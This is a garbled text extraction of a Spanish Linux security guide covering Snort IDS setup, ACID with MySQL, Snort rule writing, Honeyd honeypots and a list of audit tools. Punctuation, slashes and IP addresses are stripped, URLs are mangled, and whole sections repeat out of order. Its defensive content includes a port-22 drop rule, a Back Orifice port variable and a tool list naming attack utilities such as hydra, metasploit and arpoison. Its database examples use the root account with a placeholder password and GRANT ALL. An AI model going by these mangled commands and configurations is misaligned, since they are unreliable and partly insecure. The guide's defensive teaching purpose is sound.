Paso 4

Aquiacute podemos leer el manual para obtener informacioacuten detallada de las posibilidades para personalizar un poco maacutes el funcionamiento de Snort es un tema que no vamos a cubrir ahora por lo que podemos dejara los valores por defecto recomendados

Paso 5

Ahora podemos antildeadir nuestras propias reglas para la deteccioacuten de actividad sospechosa u ataques a nuestra red Este tema lo tratamos a continuacioacuten por separado podemos obtener reglas pre-configuradas de Internet aparte de las que el mismo Snort trae consigo

3- Descargando nuevas reglas desde Internet

Gracias al esfuerzo de la comunidad por mantener las cosas en orden y seguras podemos ir actualizando nuestro set de reglas o descargar nuevas funcionalidades la primera web recomendada (aunque no la uacutenica al respecto) y a la que me voy a limitar es

httpwwwsnortorgrules

yo

Kernel hacks y seguridad JMP

httpwwwsnortorgpub-bindownloadscgi

Nos basta con descomprimir las reglas y ajustar la configuracioacuten de snortconf como sea necesario para apuntar a los ficheros de reglas que queremos habilitar

Por supuesto podemos crear nuestras propias reglas para saber como hacerlo es mejor - una vez maacutes ndash mirar la documentacioacuten actualizada de Snort al respecto

4- Prevencioacuten de intrusiones

Aquiacute se muestra Snort actuando como interceptor de sesiones se trata de examinar las sesiones establecidas por un atacante y sus intentos si algo resulta hostil se envia un paquete RST para terminar la conexioacuten de inmediato En el ejemplo tras el intento de atacar el servidor apache se da por terminada la sesioacuten expliacutecitamente gracias a Snort

Nota Tanto el firewall como Snort y el servidor web estaacuten conectados entre si el servidor apache accesible desde el exterior estaacute situado en la DMZ

Ahora Snort (con el parche inlineIPS aplicado) actuacutea como firewall-routerIPS estando como Gateway

httpsnort-inlinesourceforgenet (configure - -enable-inline)

Una vez detectado traacutefico hostil fruto de un ataque el traacutefico futuro del host atacante seraacute bloqueado

Kernel hacks y seguridad JMP

Para terminar se muestra otro ejemplo con el plugin SnortSAM en el que cuando un ataque se detecta se pide al router el bloqueo del traacutefico entrante del host origen del ataque Si el host antes de ser bloqueado abre una puerta trasera con otro host bajo su control esto puede suponer un riesgo para la seguridad de la red

httpwwwsnortsamnet

5- Usando ACID + SNORT

Con ACID pretendemos encontrar un mecanismo de control y uso centralizado de SNORT simplificado accesible viacutea web

Kernel hacks y seguridad JMP

La instalacioacuten de Snort con ACID (Analysis Console for Intrusion Detection) pasa por una serie de requisitos y dependencias podemos echar un vistazo al sitio web de ACID para descargar el software y documentacioacuten

httpacidlabsourceforgenet

La versioacuten maacutes reciente de ACID es ahora 096_beta23 (seguacuten Portage en mi distribucioacuten no he mirado el CVS) se recomienda tener precauciones respecto a las posibles vulnerabilidades en el coacutedigo de la aplicacioacuten que puedan ir surgiendo mientras el software adquiere un mayor nivel de maduracioacuten en el desarrollo

Luego necesitaremos a ser posible

Apache soporte GD OpenSSL MySQL

PHP soporte GD OpenSSL MySQL

MySQL

ACID soporte adodb jpgraph phplot GD

Y claro esta Snort con soporte para MySQL

Procederemos a instalar los paquetes y configurar una nueva bases de datos para Snort en MySQL usando para ello la estructura que se nos facilita en los paquetes para la instalacioacuten para crear las tablas en la base de datos Tambieacuten daremos de alta un usuario en MySQL con los privilegios estrictamente necesarios

Ejemplo

$ mysql -u root -p

mysql gt CREATE DATABASE snort

mysql gt GRANT ALL ON snort to rootlocalhost identified by password

$ mysql -u root -p pass lt usrsrcsnort-xxschemascreate_mysql_snort

Necesitaremos descargar los paquetes y descomprimirlos bajo el Document Root de nuestro servidor WEB (Apache) varwwwhtdocs por ejemplo Por tanto es importante respetar el orden en la instalacioacuten de las dependencias

Lo siguiente muestra alguna de la informacioacuten que hay que editar del fichero ldquoacid_confphprdquo para que todo funcione correctamente con la base de datos MySQL Una vez instalado bastaraacute con visualizar la consola ACID desde nuestro navegador apuntando a la URL donde hemos instalado todo por ejemplo http127001acid

Alert DB connection parameters

Kernel hacks y seguridad JMP

- $alert_dbname MySQL database name of Snort alert DB

- $alert_host host on which the DB is stored

- $alert_port port on which to access the DB

- $alert_user login to the database with this user

- $alert_password password of the DB user

This information can be gleaned from the Snort database

output plugin configuration

$alert_dbname = snort_log

$alert_host = localhost

$alert_port =

$alert_user = root

$alert_password = mypassword

Archive DB connection parameters

$archive_dbname = snort_archive

$archive_host = localhost

$archive_port =

$archive_user = root

$archive_password = mypassword

Esquema baacutesico de la base de datos de ACID y su funcionamiento con Snort

Kernel hacks y seguridad JMP

Creacioacuten de reglas propias para Snort

Podemos separar las reglas en grandes bloques accioacuten+cabecera y opciones

CABECERA

Accioacuten de la regla alert

Protocolo tcp udp

Direccion IP origen $EXTERNAL_NET

Puerto IP origen any

Direccion IP destino $HOME_NET

Puerto IP destino any

Direccioacuten de la operacioacuten -gt (puede ser -gt lt- ltgt)

OPCIONES

Mensaje ldquohola directivardquo

Opciones flags Aack 0 reference

Ej drop tcp any any -gt any 22 (classtypeattempted-user msgrdquoIntento de conectar al puerto SSHrdquo)

El coacutedigo anterior haraacute que las conexiones al puerto 22 sean logueadas y bloqueadas una vez antildeadida la regla dentro de las directivas de Snort

Para documentacioacuten detallada y actualizada sobre las reglas de Snort y lo referente a las opciones se recomienda visitar el sitio oficial de Snort en Internet wwwsnortorg

Conclusiones

Debido a que un cortafuegos no es una medida realmente segura para proteger nuestra red se hace necesario detectar aquellos ataques que se realizan con eacutexito contra nuestros sistemas Los sistemas de deteccioacuten y de prevencioacuten de intrusiones ndash Snort en el caso que nos ocupa ndash junto con poliacuteticas de seguridad adicionales como SELinux y GRSecurity nos brindan un nivel de seguridad mucho mayor asiacute como la capacidad de estudiar posibles ataques para poder evitarlos en un futuro

Una vez maacutes la soluciones opensource estaacuten muy por encima en calidadprecio con respecto a otras alternativas comerciales

Kernel hacks y seguridad JMP

Honeypots

Una de las teacutecnicas maacutes habituales para proteger nuestras redes y aprender de nuestros atacantes es usar sistemas abiertos con el fin de atraer (o distraer) la atencioacuten de nuestros posibles intrusos

Los honeypots son simplemente eso sentildeuelos que nos permiten mantener la red un poco maacutes protegida mientras estos sistemas son comprometidos y controlados a voluntad por el administrador del sistema

Aunque existen muchas soluciones para implementar honeypots en este trabajo se trataraacute principalmente con ldquoHoneydrdquo

Kernel hacks y seguridad JMP

1- Preparando el entorno de trabajo

Lo primero que habraacute que hacer es obtener una copia de ldquoHoneydrdquo y opcionalmente ldquoArpdrdquo compilarlas e instalarlas en el sistema que pretende hacer de sentildeuelo estaacute claro que no hay que instalarlo en un equipo en produccioacuten P

net-analyzerhoneyd Latest version available 10-r1 Latest version installed 10-r1

Size of downloaded files 2566 kB Homepage httpwwwcitiumicheduuprovoshoneyd Description Honeyd is a small daemon that creates virtual hosts on a network License GPL-2

De las siguientes direcciones nos interesa ademaacutes toda la documentacioacuten que podamos encontrar al respecto

httpwwwhoneydorg

httpwwwcitiumicheduuprovoshoneyd

Debemos editar el fichero de configuracioacuten para establecer nuestras preferencias como sea necesario y arrancar el servicio honeyd

Config file for etcinitdhoneyd

Set Network addressHONEYD_NET=10001

HONEYD_IF=lo

HONEYD_LOG=varloghoneydlog

Set to 1 to enable (gt=honeyd-10)HONEYD_HTTPD=0HONEYD_HTTPD_PORT=80HONEYD_HTTPD_ROOT=usrsharehoneydwebserverhtdocs

Kernel hacks y seguridad JMP

Set preferred options here HONEYD_OPTS=-f etchoneydconf -p usrsharehoneydnmapprints

-x usrsharehoneydxprobe2conf -a usrsharehoneydnmapassoc

Otras alternativas a honeyd podriacutean ser sistemas como VMWare User Mode Linux etc

Un interesante ldquopaperrdquo es el de Lance Spitzner disponible en

httpwwwtracking-hackerscompapershoneypotshtml (9 May 2003)

2- Creando sistemas virtuales

Para crear los sistemas virtuales debemos editar el contenido de ldquousrsharehoneydrdquo en mi caso para conseguir nuestro objetivo de simulacioacuten por ejemplo tenemos el fichero ldquoconfigrdquo concretamente configsample que es un ejemplo de configuracioacuten lo probamos copiando honeydconf dentro de etc (en mi caso particular)

Su contenido se muestra a continuacioacuten

route entry 10001 route 10001 link 1020024 route 10001 add net 1030016 10301 latency 8ms bandwidth 10Mbps route 10301 link 1030024 route 10301 add net 1031024 10311 latency 7ms loss 05 route 10311 link 1031024

Example of a simple host template and its binding create template set template personality Microsoft Windows XP Professional SP1 set template uptime 1728650 set template maxfds 35 add template tcp port 80 scriptsiis5netmainpl add template tcp port 22 sh scriptstestsh $ipsrc $dport add template tcp port 23 proxy $ipsrc23 add template udp port 53 proxy 1412119214153 set template default tcp action reset

create default set default default tcp action block set default default udp action block set default default icmp action block

create router

Kernel hacks y seguridad JMP

set router personality Cisco 1601R router running IOS 121(5)set router default tcp action resetadd router tcp port 22 scriptstestshadd router tcp port 23 scriptsrouter-telnetpl

bind 10301 routerbind 10311 routerbind 103112 templatebind 103111 templatebind 103110 templateset 103111 personality Microsoft Windows NT 40 SP3set 103110 personality IBM AIX 42

De igual forma podemos editar el resto de ficheros de intereacutes para modificar lo que queramos no obstante cubrir todas las posibilidades va maacutes allaacute de lo que se persigue en este trabajo La documentacioacuten on-line puede solucionar cualquier duda al respecto

Para probar el sistema podemos usar herramientas de analisis y escaneo de puertos como Nmap ping hping traceroute etc

3- Otros usos

Podemos usar tambieacuten los honeypots para automatizar tareas por ejemplo para limpiar gusanos que han infectado nuestra red imitando el proceso de infeccioacuten pero haciendo que el honeypot lleve a cabo el envio de un programa que limpie el gusano en lugar de propagarlo ejecutando su payload Es solo una idea de todo lo que podemos hacer con un honeypot

Listado de programas yo utilidades para el anaacutelisis de redes y auditorias

acid hping netcat6 sec aimsniff httping netdiscover sflowtool amap hunt nethogs sguil-client angst hydra neti sguil-sensor argus hyperic-hq-agent netio sguil-server arping ibmonitor netleds_applet siphon arpoison ifmetric netperf slurm arp-sk ifstat netselect sniffit arpwatch iftop net-snmp snmpmon authforce ike-scan netspeed_applet snmptt barnyard ipac-ng nettop snort bigeye ipaudit netwag snortalog bing ipcad netwatch snortsam bmon iplog netwox sonar braa ippl ngrep squid-graph bwm-ng iptraf nikto squidsites bwmon iptstate nload ssldump cacti isic nmap sussen cacti-cactid jnettop nmbscan tcpdump calamaris knetscan nomad tcpflow chaosreader knocker ns tcpick cheops-ng labrea nsat tcpreen cnet lft nstats tcpreplay cryptcat libnasl ntop tcpslice cutter linkchecker nttcp tcpstat darkstat macchanger oinkmaster tcptrace

Kernel hacks y seguridad JMP

dnstracer mbrowse p0f tcptraceroute driftnet metadataxml packit tcptrack dsniff metasploit paketto thcrut echoping midas-nms pinger thrulay egressor mirmon pktstat tleds etherape mping pmacct tptest ethereal mrtg poink traceproto ethloop mtr portmon traceroute ethstatus mwcollect portsentry traceroute-nanog ettercap nagios postal trafd fail2ban nagios-core prelude-nagios traffic-vis ffp nagios-imagepack prelude-nessus trafshow firewalk nagios-nrpe prelude-nids ttcp FlowScan nagios-nsca prewikka ttt flow-tools nagios-plugins quidscor upnpscan fping nam rain vnstat fprobe nast rrdtool xnetload fragroute nb rtg xprobe ftester nbaudit sancp xtraceroute fwlogwatch nbtscan sara zabbix-agent gensink nepenthes sarg zabbix-frontend gnome-netstatus nessus sbd zabbix-server gnome-nettool nessus-core scanlogd zodiac gnu-netcat nessus-libraries scanssh gspoof nessus-plugins scapy honeyd netcat scli

Conclusiones

Con los honeypots ya tenemos un punto maacutes que sumar a nuestra seguridad en la red no obstante hay que decir que el mal uso y configuracioacuten del mismo puede provocar tambieacuten alguacuten problema si no se tiene cuidado por lo que el administrador debe ser cauto

ldquoLa puerta mejor cerrada es la que se puede dejar abiertardquo

Trabajo realizado y distribuido a la comunidad por Jose Miguel Porcel G

Kernel hacks y seguridad JMP

BIBLIOGRAFIacuteA Y RECURSOS EN INTERNET

kernel hacks

Programacioacuten ldquoLinux 20rdquo API de sistema y funcionamiento del nuacutecleo Reacutemy Card Eric Dumas Franck Meacutevel editorial ldquoEyrollesrdquo

Coacutedigo fuente de ldquoAdore-ngrdquo

Material de las conferencias del ldquoHackandalusrdquo hackmeeting

HowTo de wwwtldporg sobre ldquoLoadable Kernel Modulesrdquo

Kernelnewbies httpeskernelnewbiesorg

Internet Relay Chat en ircfreenodenet

Artiacuteculo ldquoRootkits The r00t of Digital Evilrdquo

httpwwwomninerdcom20051122articles43

Phrack ldquoHiding Out Under Unixrdquo

Documento PDF DIMVA 2004 DFN-CERT por Andreas Bunten

Documento PDF ldquoRootkit Attacker undercover toolsrdquo por Saliman Manap

Presentacioacuten ldquoUtilizacioacuten de una funcioacuten del sistema operativo por un usuariordquo de SCandela (Universidad de las Palmas de Gran Canaria)

Documentacioacuten del sistema operativo Gentoo y Debian ldquoPotatordquo asiacute como el coacutedigo fuente del Kernel tanto 22 como 24 y 26 wwwkernelorg

Anaacutelisis del rootkit ldquoT0rnrdquo httpwwwsansorgy2kt0rnhtm

Snort NIDS

Documentacioacuten y coacutedigo del sitio web oficial de Snort (wwwsnortorg) y ACID

OReilly ldquoManaging Security with Snort and IDS Toolsrdquo de Kerry JCox y Christopher Gerg Agosto 2004

Artiacuteculo httplinucaorgbodyphtmlnIdNoticia=13 ldquosnort+mysql+acidrdquo

Honeyd

Documentacioacuten del propio programa y web oficial (honeydorg)

Kernel hacks y seguridad JMP

Page 31: Kernel, Hacks y Seguridad en Linux - Rootkits, IDS y Honeypots

Kernel hacks y seguridad JMP

Otros meacutetodos tiacutepicos

Checksums de ficheros importantes (tripwire aide etc)

Backup de las estructuras centrales del kernel (kstat)

LKMs anti-rootkit

Herramientas forenses (TCT)

Analisis de logs etc

Utilidades para la deteccioacuten (rkhunter chkrootkit)

Enlaces en Internet para la descarga de utilidades e informacioacuten sobre las herramientas

httpwwwchkrootkitorg

httpwwwrootkitorg

Conclusiones

Las aplicaciones que tiene hackear el Kernel son varias desde el punto de vista de la seguridad y es que lo mismo podemos demoler la seguridad de un sistema troyanizando absolutamente todo el sistema como dotar al entorno de habilidades especiales para controlar al miliacutemetro todo lo que sucede y poder hacer un seguimiento exhaustivo de las acciones de un atacante

Kernel hacks y seguridad JMP

Snort el cerdito valiente

SNORT es us sistema para la deteccioacuten de intrusos OpenSource que nos permite monitorear el traacutefico de nuestra red y detectar vulnerabilidades conocidas asiacute como todo tipo de ataques conocidos a nuestra red

Su instalacioacuten es relativamente sencilla y no supone una carga importante para el sistema por lo que se recomienda su uso como medida de seguridad adicional combinando SNORT con otros sistemas y un buen firewall restrictivo aumentamos considerablemente la seguridad en nuestra red y el seguimiento de posibles incidencias

Wreski y Christopher Pallack en Linuxsecuritycom

ldquo A Network Intrusion Detection System (NIDS) is a system that is responsible for detecting anamolous inappropriate or other data that may be considered unauthorized occuring on a network Unlike a firewall w hich is configured to allow or deny access to a particular service or host based on a set of rules If the traffic matches an acceptible pattern it is permitted regardless of what the packet contains However an NIDS captures and inspects all traffic re gardless of whether its permitted or not Based on the contents at either the IP or application level an alert is generated

Snort is a lightweight NIDS in that it is non-intrusive easily configured utilizes familiar methods for rule development and takes only a few minutes to install Snort currently includes the ability to detect more than 1100 potential vulnerabilities Keep in mind that Intrusion Detection devices work in conjunction with other security measures and are not a replacement for other good security practices ldquo

Kernel hacks y seguridad JMP

1- Preparando el entorno de trabajo

Lo primero que tenemos que hacer es obtener una copia de Snort para nuestra distribucioacuten de Linux (ya que vamos a trabajar en esta plafatorma) por lo que tendremos que usar los mecanismos apropiados en nuestra distribucioacuten en mi caso particular

root emerge -pv snort

These are the packages that I would merge in order

Calculating dependencies done [ebuild R ] net-analyzersnort-243 -flexresp -inline +mysql -odbc shypostgres -prelude (-selinux) -sguil -snortsam +ssl 0 kB

Total size of downloads 0 kB

No obstante podemos obtener los paquetes y el coacutedigo fuente de la URL

httpwwwsnortorgdl

Una vez instalado Snort procederemos a su configuracioacuten tal y como iremos viendo antes de proceder a arrancar el servicio

2- Configuracioacuten baacutesica de Snort

Para empezar debemos buscar un fichero llamado ldquosnortconfrdquo que contiene la configuracioacuten de

Kernel hacks y seguridad JMP

Snort Dicho fichero se puede encontrar en

etcsnortsnortconf

pero puede que esteacute ubicado en otra localizacioacuten dependiendo de tu distribucioacuten en mi caso trabajo con Gentoo Linux asi que de ahora en adelante habraacute que tener este pequentildeo matiz en consideracioacuten para el futuro

Antes de empezar es aconsejable realizar una copia del fichero original es posible que ya se haya incluido dicha copia con el paquete de Snort no obstante es muy aconsejable hacerlo sino es el caso

El fichero trae comentarios detallados sobre la funcionalidad de las directivas de Snort por lo que en el presente documento solamente se trataraacute de forma general sin entrar en excesivos detalles sobre absolutamente todas las opciones que Snort trae con el objetivo de no alargar el documento de forma innecesaria

Tal y como nos indica el inicio del fichero son 5 los pasos a seguir en ese fichero

1 Establecer las variables para nuestra red

2 Configurar el preprocesador de Snort

3 Configurar los plugins de salida

4 Antildeadir directivas para la configuracioacuten en ejecucioacuten de Snort

5 Personalizar nuestro set de reglas para Snort

La figura anterior desglosa las partes en las que Snort se compone para llevar a cabo su tarea

Paso 1

Debemos indicar como estaacute montada nuestra red e identificarnos no es buena idea dejar esto con un valor ldquoanyrdquo o por defecto asiacute que lo modificamos como sea necesario

Kernel hacks y seguridad JMP

var HOME_NET 1921681124 o bien var HOME_NET $eth0_ADDRESS

Maacutes de lo mismo indicamos los hosts que forman nuestra red podemos hacerlo de varias manera y esta es la maacutes adecuada para redes locales medianas o grandes

var HOME_NET 1921681124

Ahora configuramos la red externa con el valor ldquocualquierardquo es un buen comienzo

var EXTERNAL_NET any

Indicamos la lista de servidores DNS SMTP etc de nuestra red si los hay

var DNS_SERVERS $HOME_NET

var SMTP_SERVERS $HOME_NET

[]

Ahora viene un paso importante que es definir los puertos con servicios que Snort debe vigilar y sobre los cuales se desean detectar ataques si tenemos un servidor web (tiacutepicamente Apache en el puerto 80) podemos hacer lo que se muestra en el ejemplo siguiente indicaacutendolo de manera continua (221024) o por puertos individuales (212253808080 ) Tambieacuten podemos incluir ficheros de reglas tal y como se muestra en los ejemplos dentro del fichero de configuracioacuten

var HTTP_PORTS 80 var BO-BACKDOOR 31337

var NO_SSH 22 include mis_directivasrules

Ahora podemos configurar ciertos aspectos del decodificador de Snort hecho esto podemos pasar a la configuracioacuten del motor de deteccioacuten Si andamos escasos de recursos en nuestra maacutequina es MUY recomendable usar

config detection search-method lowmem

Paso 2

Podemos habilitar soporte para defragmentacioacuten IP asiacute podremos detectar cierto tipo de ataques (DoS normalmente) que usen esa teacutecnica asiacute como evitar la evasioacuten de Snort mediante teacutecnicas maacutes o menos avanzadas

Por ejemplo preprocessor frag2

Kernel hacks y seguridad JMP

preprocessor frag3_global max_frags 65536 preprocessor frag3_engine policy first detect_anomalies

Stateful-inspection y Stream Reassembly si queremos detectar ataques de escaneo de puertos ocultos tiacutepicamente Syn-Stealth o de cualquier otro tipo asiacute como otros ataques baacutesicos esta es la seccioacuten a modificar Por ejemplo

preprocessor stream4 detect_scans

preprocessor stream4_reassemble

Performance Statistics tal y como dice el fichero aquiacute hay MUCHAS posibilidades que no se van a tratar aquiacute asiacute que lo mejor seraacute mirar el propio manual y documentacioacuten de Snort al respecto Lo dejaremos con los valores por defecto recomendados

A continuacioacuten hay algunas directivas sobre la inspeccioacuten de traacutefico de Back Oriffice (troyano miacutetico del grupo Cult Of Dead Cow) traacutefico RPC posible ARP spoof traacutefico Telnet etc A configurar a gusto del consumidor o bien dejamos los valores por defecto

Paso 3

Aquiacute podemos indicar cosas referentes al formato de salida de logs y demaacutes por ejemplo en el formato de ldquotcpdumprdquo en una base de datos (MySQL) salida por el Syslog de sistema

Paso 4

Aquiacute podemos leer el manual para obtener informacioacuten detallada de las posibilidades para personalizar un poco maacutes el funcionamiento de Snort es un tema que no vamos a cubrir ahora por lo que podemos dejara los valores por defecto recomendados

Paso 5

Ahora podemos antildeadir nuestras propias reglas para la deteccioacuten de actividad sospechosa u ataques a nuestra red Este tema lo tratamos a continuacioacuten por separado podemos obtener reglas pre-configuradas de Internet aparte de las que el mismo Snort trae consigo

3- Descargando nuevas reglas desde Internet

Gracias al esfuerzo de la comunidad por mantener las cosas en orden y seguras podemos ir actualizando nuestro set de reglas o descargar nuevas funcionalidades la primera web recomendada (aunque no la uacutenica al respecto) y a la que me voy a limitar es

httpwwwsnortorgrules

yo

Kernel hacks y seguridad JMP

httpwwwsnortorgpub-bindownloadscgi

Nos basta con descomprimir las reglas y ajustar la configuracioacuten de snortconf como sea necesario para apuntar a los ficheros de reglas que queremos habilitar

Por supuesto podemos crear nuestras propias reglas para saber como hacerlo es mejor - una vez maacutes ndash mirar la documentacioacuten actualizada de Snort al respecto

4- Prevencioacuten de intrusiones

Aquiacute se muestra Snort actuando como interceptor de sesiones se trata de examinar las sesiones establecidas por un atacante y sus intentos si algo resulta hostil se envia un paquete RST para terminar la conexioacuten de inmediato En el ejemplo tras el intento de atacar el servidor apache se da por terminada la sesioacuten expliacutecitamente gracias a Snort

Nota Tanto el firewall como Snort y el servidor web estaacuten conectados entre si el servidor apache accesible desde el exterior estaacute situado en la DMZ

Ahora Snort (con el parche inlineIPS aplicado) actuacutea como firewall-routerIPS estando como Gateway

httpsnort-inlinesourceforgenet (configure - -enable-inline)

Una vez detectado traacutefico hostil fruto de un ataque el traacutefico futuro del host atacante seraacute bloqueado

Kernel hacks y seguridad JMP

Para terminar se muestra otro ejemplo con el plugin SnortSAM en el que cuando un ataque se detecta se pide al router el bloqueo del traacutefico entrante del host origen del ataque Si el host antes de ser bloqueado abre una puerta trasera con otro host bajo su control esto puede suponer un riesgo para la seguridad de la red

httpwwwsnortsamnet

5- Usando ACID + SNORT

Con ACID pretendemos encontrar un mecanismo de control y uso centralizado de SNORT simplificado accesible viacutea web

Kernel hacks y seguridad JMP

La instalacioacuten de Snort con ACID (Analysis Console for Intrusion Detection) pasa por una serie de requisitos y dependencias podemos echar un vistazo al sitio web de ACID para descargar el software y documentacioacuten

httpacidlabsourceforgenet

La versioacuten maacutes reciente de ACID es ahora 096_beta23 (seguacuten Portage en mi distribucioacuten no he mirado el CVS) se recomienda tener precauciones respecto a las posibles vulnerabilidades en el coacutedigo de la aplicacioacuten que puedan ir surgiendo mientras el software adquiere un mayor nivel de maduracioacuten en el desarrollo

Luego necesitaremos a ser posible

Apache soporte GD OpenSSL MySQL

PHP soporte GD OpenSSL MySQL

MySQL

ACID soporte adodb jpgraph phplot GD

Y claro esta Snort con soporte para MySQL

Procederemos a instalar los paquetes y configurar una nueva bases de datos para Snort en MySQL usando para ello la estructura que se nos facilita en los paquetes para la instalacioacuten para crear las tablas en la base de datos Tambieacuten daremos de alta un usuario en MySQL con los privilegios estrictamente necesarios

Ejemplo

$ mysql -u root -p

mysql gt CREATE DATABASE snort

mysql gt GRANT ALL ON snort to rootlocalhost identified by password

$ mysql -u root -p pass lt usrsrcsnort-xxschemascreate_mysql_snort

Necesitaremos descargar los paquetes y descomprimirlos bajo el Document Root de nuestro servidor WEB (Apache) varwwwhtdocs por ejemplo Por tanto es importante respetar el orden en la instalacioacuten de las dependencias

Lo siguiente muestra alguna de la informacioacuten que hay que editar del fichero ldquoacid_confphprdquo para que todo funcione correctamente con la base de datos MySQL Una vez instalado bastaraacute con visualizar la consola ACID desde nuestro navegador apuntando a la URL donde hemos instalado todo por ejemplo http127001acid

Alert DB connection parameters

Kernel hacks y seguridad JMP

- $alert_dbname MySQL database name of Snort alert DB

- $alert_host host on which the DB is stored

- $alert_port port on which to access the DB

- $alert_user login to the database with this user

- $alert_password password of the DB user

This information can be gleaned from the Snort database

output plugin configuration

$alert_dbname = snort_log

$alert_host = localhost

$alert_port =

$alert_user = root

$alert_password = mypassword

Archive DB connection parameters

$archive_dbname = snort_archive

$archive_host = localhost

$archive_port =

$archive_user = root

$archive_password = mypassword

Esquema baacutesico de la base de datos de ACID y su funcionamiento con Snort

Kernel hacks y seguridad JMP

Creacioacuten de reglas propias para Snort

Podemos separar las reglas en grandes bloques accioacuten+cabecera y opciones

CABECERA

Accioacuten de la regla alert

Protocolo tcp udp

Direccion IP origen $EXTERNAL_NET

Puerto IP origen any

Direccion IP destino $HOME_NET

Puerto IP destino any

Direccioacuten de la operacioacuten -gt (puede ser -gt lt- ltgt)

OPCIONES

Mensaje ldquohola directivardquo

Opciones flags Aack 0 reference

Ej drop tcp any any -gt any 22 (classtypeattempted-user msgrdquoIntento de conectar al puerto SSHrdquo)

El coacutedigo anterior haraacute que las conexiones al puerto 22 sean logueadas y bloqueadas una vez antildeadida la regla dentro de las directivas de Snort

Para documentacioacuten detallada y actualizada sobre las reglas de Snort y lo referente a las opciones se recomienda visitar el sitio oficial de Snort en Internet wwwsnortorg

Conclusiones

Debido a que un cortafuegos no es una medida realmente segura para proteger nuestra red se hace necesario detectar aquellos ataques que se realizan con eacutexito contra nuestros sistemas Los sistemas de deteccioacuten y de prevencioacuten de intrusiones ndash Snort en el caso que nos ocupa ndash junto con poliacuteticas de seguridad adicionales como SELinux y GRSecurity nos brindan un nivel de seguridad mucho mayor asiacute como la capacidad de estudiar posibles ataques para poder evitarlos en un futuro

Una vez maacutes la soluciones opensource estaacuten muy por encima en calidadprecio con respecto a otras alternativas comerciales

Kernel hacks y seguridad JMP

Honeypots

Una de las teacutecnicas maacutes habituales para proteger nuestras redes y aprender de nuestros atacantes es usar sistemas abiertos con el fin de atraer (o distraer) la atencioacuten de nuestros posibles intrusos

Los honeypots son simplemente eso sentildeuelos que nos permiten mantener la red un poco maacutes protegida mientras estos sistemas son comprometidos y controlados a voluntad por el administrador del sistema

Aunque existen muchas soluciones para implementar honeypots en este trabajo se trataraacute principalmente con ldquoHoneydrdquo

Kernel hacks y seguridad JMP

1- Preparando el entorno de trabajo

Lo primero que habraacute que hacer es obtener una copia de ldquoHoneydrdquo y opcionalmente ldquoArpdrdquo compilarlas e instalarlas en el sistema que pretende hacer de sentildeuelo estaacute claro que no hay que instalarlo en un equipo en produccioacuten P

net-analyzerhoneyd Latest version available 10-r1 Latest version installed 10-r1

Size of downloaded files 2566 kB Homepage httpwwwcitiumicheduuprovoshoneyd Description Honeyd is a small daemon that creates virtual hosts on a network License GPL-2

De las siguientes direcciones nos interesa ademaacutes toda la documentacioacuten que podamos encontrar al respecto

httpwwwhoneydorg

httpwwwcitiumicheduuprovoshoneyd

Debemos editar el fichero de configuracioacuten para establecer nuestras preferencias como sea necesario y arrancar el servicio honeyd

Config file for etcinitdhoneyd

Set Network addressHONEYD_NET=10001

HONEYD_IF=lo

HONEYD_LOG=varloghoneydlog

Set to 1 to enable (gt=honeyd-10)HONEYD_HTTPD=0HONEYD_HTTPD_PORT=80HONEYD_HTTPD_ROOT=usrsharehoneydwebserverhtdocs

Kernel hacks y seguridad JMP

Set preferred options here HONEYD_OPTS=-f etchoneydconf -p usrsharehoneydnmapprints

-x usrsharehoneydxprobe2conf -a usrsharehoneydnmapassoc

Otras alternativas a honeyd podriacutean ser sistemas como VMWare User Mode Linux etc

Un interesante ldquopaperrdquo es el de Lance Spitzner disponible en

httpwwwtracking-hackerscompapershoneypotshtml (9 May 2003)

2- Creando sistemas virtuales

Para crear los sistemas virtuales debemos editar el contenido de ldquousrsharehoneydrdquo en mi caso para conseguir nuestro objetivo de simulacioacuten por ejemplo tenemos el fichero ldquoconfigrdquo concretamente configsample que es un ejemplo de configuracioacuten lo probamos copiando honeydconf dentro de etc (en mi caso particular)

Su contenido se muestra a continuacioacuten

route entry 10001 route 10001 link 1020024 route 10001 add net 1030016 10301 latency 8ms bandwidth 10Mbps route 10301 link 1030024 route 10301 add net 1031024 10311 latency 7ms loss 05 route 10311 link 1031024

Example of a simple host template and its binding create template set template personality Microsoft Windows XP Professional SP1 set template uptime 1728650 set template maxfds 35 add template tcp port 80 scriptsiis5netmainpl add template tcp port 22 sh scriptstestsh $ipsrc $dport add template tcp port 23 proxy $ipsrc23 add template udp port 53 proxy 1412119214153 set template default tcp action reset

create default set default default tcp action block set default default udp action block set default default icmp action block

create router

Kernel hacks y seguridad JMP

set router personality Cisco 1601R router running IOS 121(5)set router default tcp action resetadd router tcp port 22 scriptstestshadd router tcp port 23 scriptsrouter-telnetpl

bind 10301 routerbind 10311 routerbind 103112 templatebind 103111 templatebind 103110 templateset 103111 personality Microsoft Windows NT 40 SP3set 103110 personality IBM AIX 42

De igual forma podemos editar el resto de ficheros de intereacutes para modificar lo que queramos no obstante cubrir todas las posibilidades va maacutes allaacute de lo que se persigue en este trabajo La documentacioacuten on-line puede solucionar cualquier duda al respecto

Para probar el sistema podemos usar herramientas de analisis y escaneo de puertos como Nmap ping hping traceroute etc

3- Otros usos

Podemos usar tambieacuten los honeypots para automatizar tareas por ejemplo para limpiar gusanos que han infectado nuestra red imitando el proceso de infeccioacuten pero haciendo que el honeypot lleve a cabo el envio de un programa que limpie el gusano en lugar de propagarlo ejecutando su payload Es solo una idea de todo lo que podemos hacer con un honeypot

Listado de programas yo utilidades para el anaacutelisis de redes y auditorias

acid hping netcat6 sec aimsniff httping netdiscover sflowtool amap hunt nethogs sguil-client angst hydra neti sguil-sensor argus hyperic-hq-agent netio sguil-server arping ibmonitor netleds_applet siphon arpoison ifmetric netperf slurm arp-sk ifstat netselect sniffit arpwatch iftop net-snmp snmpmon authforce ike-scan netspeed_applet snmptt barnyard ipac-ng nettop snort bigeye ipaudit netwag snortalog bing ipcad netwatch snortsam bmon iplog netwox sonar braa ippl ngrep squid-graph bwm-ng iptraf nikto squidsites bwmon iptstate nload ssldump cacti isic nmap sussen cacti-cactid jnettop nmbscan tcpdump calamaris knetscan nomad tcpflow chaosreader knocker ns tcpick cheops-ng labrea nsat tcpreen cnet lft nstats tcpreplay cryptcat libnasl ntop tcpslice cutter linkchecker nttcp tcpstat darkstat macchanger oinkmaster tcptrace

Kernel hacks y seguridad JMP

